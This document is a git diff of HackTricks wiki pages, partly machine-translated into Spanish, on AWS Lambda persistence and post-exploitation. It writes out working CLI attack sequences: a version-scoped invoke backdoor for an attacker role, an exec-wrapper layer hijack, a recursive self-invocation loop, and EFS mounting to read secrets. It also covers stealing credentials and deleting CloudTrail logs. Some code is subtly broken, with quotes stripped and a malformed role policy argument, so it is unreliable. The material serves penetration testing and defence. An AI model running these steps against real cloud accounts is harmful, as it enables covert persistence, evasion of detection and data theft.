mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 13:05:19 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-lambd
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# AWS - Persistencia de Lambda
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,55 +10,82 @@ Para más información consulta:
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistencia de Lambda Layer
|
||||
### Lambda Layer Persistence
|
||||
|
||||
Es posible **introducir/puerta trasera una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa:
|
||||
Es posible **introduce/backdoor a layer to execute arbitrary code** cuando la lambda se ejecuta de forma sigilosa:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistencia de Extensiones de Lambda
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusando de las Lambda Layers también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes.
|
||||
Abusando de Lambda Layers también es posible abusar de extensions y persistir en la lambda, además de robar y modificar requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### A través de políticas de recursos
|
||||
### Via resource policies
|
||||
|
||||
Es posible otorgar acceso a diferentes acciones de lambda (como invocar o actualizar código) a cuentas externas:
|
||||
Es posible conceder acceso a diferentes lambda actions (such as invoke or update code) a cuentas externas:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versiones, Alias y Pesos
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Una Lambda puede tener **diferentes versiones** (con código diferente en cada versión).\
|
||||
Luego, puedes crear **diferentes alias con diferentes versiones** de la lambda y establecer diferentes pesos para cada uno.\
|
||||
De esta manera, un atacante podría crear una **versión 1 con puerta trasera** y una **versión 2 solo con el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso.
|
||||
Una Lambda puede tener **diferentes versiones** (con diferente código en cada versión).\
|
||||
Luego, puedes crear **diferentes aliases con diferentes versiones** de la lambda y asignar diferentes weights a cada una.\
|
||||
De este modo un atacante podría crear una **backdoored version 1** y una **version 2 con solo el legit code** y **ejecutar solo la version 1 en 1%** de las requests para permanecer sigiloso.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Puerta trasera de versión + API Gateway
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copia el código original de la Lambda
|
||||
2. **Crea una nueva versión con puerta trasera** del código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST
|
||||
1. Llama al API gateway relacionado con la lambda para ejecutar el código
|
||||
3. **Crea una nueva versión con el código original**, publica y despliega esa **versión** a $LATEST.
|
||||
1. Esto ocultará el código con puerta trasera en una versión anterior
|
||||
4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con puerta trasera de la lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Nota el final :1 del arn **indicando la versión de la función** (la versión 1 será la con puerta trasera en este escenario).
|
||||
5. Selecciona el método POST creado y en Acciones selecciona **`Deploy API`**
|
||||
6. Ahora, cuando **llames a la función vía POST tu Puerta Trasera** será invocada
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Actuador Cron/Event
|
||||
### Cron/Event actuator
|
||||
|
||||
El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa el tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\
|
||||
Aquí tienes algunas ideas para hacer tu **presencia en AWS más sigilosa creando lambdas**.
|
||||
El hecho de que puedas hacer que las funciones lambda se ejecuten cuando ocurre algo o cuando pasa cierto tiempo hace de lambda una forma común y útil para obtener persistence y evitar la detección.\
|
||||
Aquí tienes algunas ideas para hacer tu presencia en AWS más sigilosa creando lambdas.
|
||||
|
||||
- Cada vez que se crea un nuevo usuario, lambda genera una nueva user key y la envía al atacante.
|
||||
- Cada vez que se crea un nuevo role, lambda da permisos de assume role a usuarios comprometidos.
|
||||
- Cada vez que se generan nuevos cloudtrail logs, borrarlos/alterarlos
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abusa de la variable de entorno `AWS_LAMBDA_EXEC_WRAPPER` para ejecutar un script wrapper controlado por el atacante antes de que arranque el runtime/handler. Entrega el wrapper vía un Lambda Layer en `/opt/bin/htwrap`, configura `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` y luego invoca la función. El wrapper se ejecuta dentro del proceso del runtime de la función, hereda el function execution role, y finalmente `exec`s el runtime real para que el handler original siga ejecutándose normalmente.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abusa de Lambda asynchronous destinations junto con la configuración de Recursion para hacer que una función se re-invoque continuamente sin un scheduler externo (no EventBridge, cron, etc.). Por defecto, Lambda termina loops recursivos, pero configurando recursion a Allow los vuelve a habilitar. Las destinations entregan en el lado del servicio para invocaciones async, así que una única seed invoke crea un canal sigiloso tipo heartbeat/backdoor sin código. Opcionalmente, limita con reserved concurrency para mantener el ruido bajo.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Crea una version oculta de Lambda con lógica del atacante y aplica una resource-based policy a esa versión específica (o alias) usando el parámetro `--qualifier` en `lambda add-permission`. Otorga únicamente `lambda:InvokeFunction` sobre `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un principal atacante. Las invocaciones normales vía el nombre de la función o el alias primario no se ven afectadas, mientras que el atacante puede invocar directamente el ARN de la versión backdoored.
|
||||
|
||||
Esto es más sigiloso que exponer una Function URL y no cambia el alias de tráfico primario.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
- Cada vez que se crea un nuevo usuario, lambda genera una nueva clave de usuario y se la envía al atacante.
|
||||
- Cada vez que se crea un nuevo rol, lambda otorga permisos de asumir rol a usuarios comprometidos.
|
||||
- Cada vez que se generan nuevos registros de cloudtrail, elimínalos/modifícalos.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumen
|
||||
|
||||
Crea una versión oculta de Lambda con la lógica del attacker y aplica una resource-based policy a esa versión específica (o alias) usando el parámetro `--qualifier` en `lambda add-permission`. Concede solo `lambda:InvokeFunction` sobre `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un attacker principal. Las invocaciones normales mediante el nombre de la función o el alias principal no se ven afectadas, mientras que el attacker puede invocar directamente el ARN de la versión con backdoor.
|
||||
|
||||
Esto es más sigiloso que exponer un Function URL y no cambia el alias de tráfico principal.
|
||||
|
||||
## Required Permissions (attacker)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
|
||||
|
||||
## Pasos de ataque (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publicar versión oculta, añadir permiso limitado por qualifier, invocar como attacker</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impacto
|
||||
|
||||
- Concede una puerta trasera encubierta para invocar una versión oculta de la función sin modificar el alias principal ni exponer una Function URL.
|
||||
- Limita la exposición únicamente a la versión/alias especificada mediante la resource-based policy `Qualifier`, reduciendo la superficie de detección mientras mantiene una invocación fiable para el attacker principal.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abusa de los Destinations asíncronos de Lambda junto con la configuración Recursion para hacer que una función se re-invoque continuamente sin un programador externo (sin EventBridge, cron, etc.). Por defecto, Lambda termina los bucles recursivos, pero establecer la recursion config en Allow los vuelve a habilitar. Los Destinations realizan la entrega del lado del servicio para invocaciones async, así que una única invocación inicial crea un canal sigiloso de heartbeat/backdoor sin código. Opcionalmente, limita con reserved concurrency para mantener el ruido bajo.
|
||||
|
||||
Notes
|
||||
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
|
||||
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
|
||||
|
||||
## Requirements
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Steps
|
||||
|
||||
1) Obtener el ARN de la función y la configuración actual de Recursion
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Publicar una versión y crear/actualizar un alias (usado como destino propio)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Permitir al rol de ejecución de la función invocar el alias (requerido por Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Configurar el destino asíncrono al alias (a sí mismo vía alias) y deshabilitar los reintentos
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Permitir bucles recursivos
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Iniciar una sola invocación asíncrona
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Observar invocaciones continuas (ejemplos)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Limitador sigiloso opcional
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Limpieza
|
||||
Interrumpe el bucle y elimina la persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impacto
|
||||
- Un único async invoke provoca que Lambda se vuelva a invocar continuamente sin un planificador externo, habilitando una sigilosa persistence/heartbeat. Reserved concurrency puede limitar el ruido a una sola warm execution.
|
||||
@@ -0,0 +1,94 @@
|
||||
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumen
|
||||
|
||||
Abusar de la variable de entorno `AWS_LAMBDA_EXEC_WRAPPER` para ejecutar un script wrapper controlado por el atacante antes de que arranque el runtime/handler. Entregar el wrapper mediante una Lambda Layer en `/opt/bin/htwrap`, establecer `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` y luego invocar la función. El wrapper se ejecuta dentro del proceso del runtime de la función, hereda el role de ejecución de la función y finalmente `exec`s el runtime real para que el handler original se ejecute normalmente.
|
||||
|
||||
> [!WARNING]
|
||||
> Esta técnica otorga ejecución de código en la Lambda objetivo sin modificar su código fuente ni su role y sin necesitar `iam:PassRole`. Solo necesitas la capacidad de actualizar la configuración de la función y publicar/adjuntar una layer.
|
||||
|
||||
## Permisos requeridos (atacante)
|
||||
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction` (or trigger via existing event)
|
||||
- `lambda:ListFunctions`, `lambda:ListLayers`
|
||||
- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer
|
||||
|
||||
## Script wrapper
|
||||
|
||||
Coloca el wrapper en `/opt/bin/htwrap` dentro de la layer. Puede ejecutar lógica previa al handler y debe terminar con `exec "$@"` para encadenarse al runtime real.
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Pre-handler actions (runs in runtime process context)
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json, os
|
||||
try:
|
||||
ident = boto3.client('sts').get_caller_identity()
|
||||
print('[ht] sts identity:', json.dumps(ident))
|
||||
except Exception as e:
|
||||
print('[ht] sts error:', e)
|
||||
PY
|
||||
# Chain to the real runtime
|
||||
exec "$@"
|
||||
```
|
||||
## Pasos del ataque (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publicar layer, adjuntar a la función objetivo, establecer wrapper, invocar</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# 1) Package wrapper at /opt/bin/htwrap
|
||||
mkdir -p layer/bin
|
||||
cat > layer/bin/htwrap <<'WRAP'
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json
|
||||
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
|
||||
PY
|
||||
exec "$@"
|
||||
WRAP
|
||||
chmod +x layer/bin/htwrap
|
||||
(zip -qr htwrap-layer.zip layer)
|
||||
|
||||
# 2) Publish the layer
|
||||
LAYER_ARN=$(aws lambda publish-layer-version \
|
||||
--layer-name ht-exec-wrapper \
|
||||
--zip-file fileb://htwrap-layer.zip \
|
||||
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
|
||||
--query LayerVersionArn --output text --region "$REGION")
|
||||
|
||||
echo "$LAYER_ARN"
|
||||
|
||||
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
|
||||
aws lambda update-function-configuration \
|
||||
--function-name "$TARGET_FN" \
|
||||
--layers "$LAYER_ARN" \
|
||||
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
|
||||
--region "$REGION"
|
||||
|
||||
# Wait for update to finish
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
|
||||
|
||||
# 4) Invoke and verify via CloudWatch Logs
|
||||
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impacto
|
||||
|
||||
- Ejecución de código previa al handler en el contexto de runtime de Lambda usando el rol de ejecución existente de la función.
|
||||
- No se requieren cambios en el código de la función ni en el rol; funciona en runtimes gestionados comunes (Python, Node.js, Java, .NET).
|
||||
- Permite persistencia, acceso a credenciales (p. ej., STS), exfiltración de datos y manipulación del runtime antes de que el handler se ejecute.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,35 +1,85 @@
|
||||
# AWS - Lambda Post Explotación
|
||||
# AWS - Lambda Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfiltrar Credenciales de Lambda
|
||||
### Exfiltrar credenciales de Lambda
|
||||
|
||||
Lambda utiliza variables de entorno para inyectar credenciales en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la función vulnerable), puedes usarlas tú mismo. Se encuentran en los nombres de variable predeterminados `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` y `AWS_ACCESS_KEY_ID`.
|
||||
Lambda usa variables de entorno para inyectar credenciales en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la propia función vulnerable), puedes usarlas tú mismo. Residen en las variables por defecto `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, y `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Por defecto, estos tendrán acceso para escribir en un grupo de logs de CloudWatch (el nombre del cual se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear grupos de logs arbitrarios, sin embargo, las funciones de Lambda frecuentemente tienen más permisos asignados según su uso previsto.
|
||||
Por defecto, estas tendrán acceso para escribir en un cloudwatch log group (cuyo nombre se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear log groups arbitrarios; sin embargo, las funciones lambda frecuentemente tienen más permisos asignados según su uso previsto.
|
||||
|
||||
### Robar Solicitudes URL de Otros Lambda
|
||||
### Robar solicitudes URL de otras funciones Lambda
|
||||
|
||||
Si un atacante logra obtener RCE dentro de un Lambda, podrá robar las solicitudes HTTP de otros usuarios al lambda. Si las solicitudes contienen información sensible (cookies, credenciales...), podrá robárselas.
|
||||
Si un atacante de alguna manera consigue RCE dentro de una Lambda podrá robar las peticiones HTTP de otros usuarios hacia la lambda. Si las peticiones contienen información sensible (cookies, credenciales...) podrá exfiltrarlas.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Robar Solicitudes URL de Otros Lambda y Solicitudes de Extensiones
|
||||
### Robar solicitudes URL de otras funciones Lambda y solicitudes de Extensions
|
||||
|
||||
Abusando de Lambda Layers también es posible abusar de extensiones y persistir en el lambda, pero también robar y modificar solicitudes.
|
||||
Abusando de Lambda Layers también es posible abusar de las extensions y persistir en la lambda, además de robar y modificar solicitudes.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Forzar una función Lambda fuera de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando el acceso a internet saliente y eludiendo los controles de egress aplicados por subredes privadas de la VPC sin NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abusar de `lambda:PutRuntimeManagementConfig` para fijar una función a una versión específica del runtime (Manual) o congelar las actualizaciones (FunctionUpdate). Esto preserva la compatibilidad con layers/wrappers maliciosos y puede mantener la función en un runtime obsoleto y vulnerable para facilitar la explotación y la persistencia a largo plazo.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abusar de los controles avanzados de logging `lambda:UpdateFunctionConfiguration` para redirigir los logs de una función a un log group de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el role de ejecución (la mayoría de los roles de Lambda ya incluyen `logs:CreateLogGroup/CreateLogStream/PutLogEvents` vía `AWSLambdaBasicExecutionRole`). Si la función imprime secretos/cuerpos de petición o falla con stack traces, puedes recopilarlos desde el nuevo log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Convertir una Function URL privada de Lambda en un endpoint público no autenticado cambiando el AuthType de la Function URL a NONE y adjuntando una resource-based policy que conceda lambda:InvokeFunctionUrl a todo el mundo. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Abusar de `UpdateEventSourceMapping` para cambiar la función Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una función controlada por el atacante. Esto desvía silenciosamente datos en vivo sin tocar a los productores ni el código de la función original.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-target-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Abusar de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego desplegar código trivial que liste/lea archivos desde la ruta montada para exfiltrar secretos/config compartidos a los que la función antes no podía acceder.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
|
||||
|
||||
Abusar de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego desplegar código trivial que liste/lea archivos desde la ruta montada para exfiltrar secretos/configuración compartida a los que la función previamente no podía acceder.
|
||||
|
||||
## Requirements
|
||||
- Permissions on the victim account/principal:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (to find functions)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (to confirm mount targets exist)
|
||||
- Environment assumptions:
|
||||
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
|
||||
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
|
||||
|
||||
## Attack
|
||||
- Variables
|
||||
```
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
EFS_AP_ARN=<efs-access-point-arn>
|
||||
```
|
||||
1) Adjuntar el EFS Access Point a la Lambda
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
|
||||
--region $REGION
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
